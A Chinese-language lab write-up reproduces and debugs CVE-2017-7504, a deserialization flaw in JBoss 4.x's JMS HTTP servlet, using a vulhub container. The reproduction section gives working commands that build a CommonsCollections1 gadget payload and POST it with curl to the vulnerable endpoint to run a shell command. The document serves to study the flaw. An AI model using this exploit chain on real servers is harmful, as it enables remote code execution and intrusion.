一、原理
(一)概述
在JBoss AS 4.x及之前版本中,JbossMQ实现过程的JMS over HTTP Invocation Layer的HTTPServerILServlet.java文件存在反序列。
class位置为org.jboss.mq.il.http.servlet.HTTPServerILServlet(jboss4/server/default/deploy/jms/jbossmq-httpil.sar/jbossmq-httpil.war/WEB-INF/classes/org/jboss/mq/il/http/servlet)
(二)CVE-2017-7504
项目 | 描述 |
---|---|
编号 | CVE-2017-7504 |
漏洞描述 | HTTPServerILServlet.java在JMS上JbossMQ实现的HTTP调用层(默认情况下在Red Hat Jboss应用服务器<=Jboss 4.X中启用)不限制执行反序列化的类,允许远程攻击者通过精心设计的序列化数据执行任意代码。 |
二、调试
(一)环境搭建
Ubuntu18,使用vulhub/jboss/CVE-2017-7504,执行docker-compose up -d
,访问8080端口即可。
接下来配置JBoss远程调试,可参考链接,
打开$JBOSS_HOME/bin目录下的run.conf文件,找到:
将这一行修改为,
JAVA_OPTS="$JAVA_OPTS -Xdebug -Xrunjdwp:transport=dt_socket,address=8787,server=y,suspend=n"
将docker restart,
即可成功。
(二)复现
在JavaDeserH2HC目录下执行,
javac -cp .:commons-collections-3.2.1.jar ExampleCommonsCollections1WithHashMap.java
再执行,
java -cp .:commons-collections-3.2.1.jar ExampleCommonsCollections1WithHashMap "touch /tmp/success"
最后执行下列命令发送payload,
curl http://xx.xx.xx.xx:8080/jbossmq-httpil/HTTPServerILServlet --data-binary @ExampleCommonsCollections1WithHashMap.ser --output -
可得如下结果,
发送完毕后,在docker中查看结果,
命令已成功执行,可见成功复现。
(三)调试
根据官方信息提示,将JBoss/jboss4/server/default/deploy/jms/jbossmq-httpil.sar/jbossmq-httpil.war/
导入idea。
结合官方信息 HTTPServerILServlet.java does not restrict the classes for which it performs deserialization,
执行curl http://xx.28:8080/jbossmq-httpil/HTTPServerILServlet --data-binary @ExampleCommonsCollections1WithHashMap.ser --output -
,发送payload。
在doPost中下断点,拦截到调用processRequest处,
此时查看request的buff的内容,可以看到正是我们构造的payload。
接下来跟进,进入到processRequest()函数,
可以看到,在经过一些不影响流程的操作之后,有值得我们关注的点,
此处,request.getInputStream得到输入流之后,直接readObject,
运行到此时,以字符串形式查看inputStream,可以看到其与发送的payload别无二致。
继续向下运行,即可触发RCE。
三、收获与启示
此漏洞原理简单,还是对用户的输入没有做合理的检查,不限制执行反序列化的类,导致恶意包可以顺利抵达反序列化的触发点,也就使远程攻击者通过使用序列化数据执行任意代码成为可能。
参考链接
https://gv7.me/articles/2018/CVE-2017-7504/